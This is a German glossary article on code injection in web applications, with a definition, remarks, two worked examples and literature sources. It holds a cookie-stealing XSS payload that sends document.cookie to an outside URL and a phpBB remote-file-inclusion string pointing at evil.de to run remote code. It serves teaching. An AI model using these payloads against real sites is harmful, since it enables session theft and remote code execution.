Code Injection

Dieser Artikel erfüllt die GlossarWiki-Qualitätsanforderungen **nur teilweise**:

Korrektheit: 2 (teilweise überprüft)	**Umfang**: 3 (einige wichtige Fakten fehlen)	**Quellenangaben**: 5 (vollständig vorhanden)	**Quellenarten**: 5 (ausgezeichnet)	**Konformität**: 4 (sehr gut)

Inhaltsverzeichnis

1 Definition

Unter Code Injection versteht man, dass unerwünschter Code in eine Webanwendung eingeschleust wird, der künftig von Clients (Browser) oder sogar vom Server ausgeführt wird. Code Injection ist üblicherweise Bestandteil des Cross Site Scripting und findet seinen Einsatz in variablen Bereichen dynamischer Websites, also überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

2 Bemerkungen

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite, weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum Injizieren von Code verwendet werden.

3 Beispiel: Stehlen eines Cookies

Es sei eine ungesicherte dynamische Seite gegeben, die mit PHP geschrieben wurde und mit der ein Benutzer Kommentare erstellen und sich anzeigen lassen kann. Auf dieser Seite gebe es ein Formular mit einem Titel- und einem Text-Feld. Das PHP-Skript speichere im Browser des Benutzers ein Cookie:

```
setcookie("cook" , "some interesting content" );
```

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

```
<script>

document.location="https://www.buggysite.com/buggyscript.php?info="+
document.cookie;
</script>
```

Anschließend wird im Browser der folgende Link angezeigt:

```
https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+cont
ent
```

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

4 Beispiel: Umleitung einer Seite

Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier- oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP Anweisung anfällig für Cross Site Scripting. Dies wird mit einem Beispiel aus Rütten, Glemser (2006) vorgeführt.

Mit der Anweisung

```
include_once($phpbb_root_path='common.php')
```

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen, indem man folgendem Code injizierte:

```
/plugin.php&phpbb_root_path=http://evil.de
```

Dies führte dazu, das statt der gewünschten Datei die Datei `http://evil.de/common.php`

ausgeführt wurde. Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP-Seiten.

5 Gängige Vertreter

SQL Injection, wird am häufigsten eingesetzt
LDAP Injection
SSI Injection
XPath Injection

6 Quellen

Sima (2006): Caleb Sima; Locking the Door Behind You: Hacker Protection for Your Web Applications; http://www.developerfusion.com/article/5381/locking-the-door-behind-you-hacker-protection-for-your-web-applications/; 2006; Quellengüte: 2 (Web)
Sullivan (2006): Bryan Sullivan; Malicious Code Injection: It's Not Just for SQL Anymore; http://www.learn.geekinterview.com/it/security/malicious-code-injection-it-s-not-just-for-sql-anymore.html; 2006; Quellengüte: 2 (Web)
Rütten, Glemser (2006): Christiane Rütten und Tobias Glemser; Gesundes Misstrauen – Sicherheit von Webanwendungen; in: c't; Nummer: 26; Seite(n): 234-239; Verlag: Heise Zeitschriften Verlag; Web-Link; 2006; Quellengüte: 5 (Artikel)
Fuhrberg, Häger, Wolf (2001): Kai Fuhrberg, Dirk Häger und Stefan Wolf; Internet-Sicherheit; Verlag: Carl Hanser Verlag; ISBN: 3446217258; 2001; Quellengüte: 5 (Buch)
Schwenk (2002): Jörg Schwenk; Sicherheit und Kryptographie im Internet – Von sicherer E-Mail bis zu IP-Verschlüsselung; Verlag: Vieweg Verlag; ISBN: 3528031808; 2002; Quellengüte: 5 (Buch)
Kyas (1999): Othmar Kyas; Sicherheit im Internet; Auflage: 2; Verlag: Vieweg Verlag; ISBN: 3-8266-4024-1; 1999; Quellengüte: 5 (Buch)
Nusser (1998): Stefan Nusser; Sicherheitskonzepte im WWW; Verlag: Vieweg Verlag; ISBN: 3-540-63391-X; 1998; Quellengüte: 5 (Buch)
Ziegler (2007): Paul Sebastian Ziegler; XSS – Cross-site scripting; in: hakin9 - Hard Core IT Security Magazin; Nummer: 1; Seite(n): 20ff; Web-Link; 2007; Quellengüte: 5 (Artikel)
Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

7 Siehe auch

Cross Site Scripting
Whitelisting
Blacklisting

Kategorien:
Sicherheit
Glossar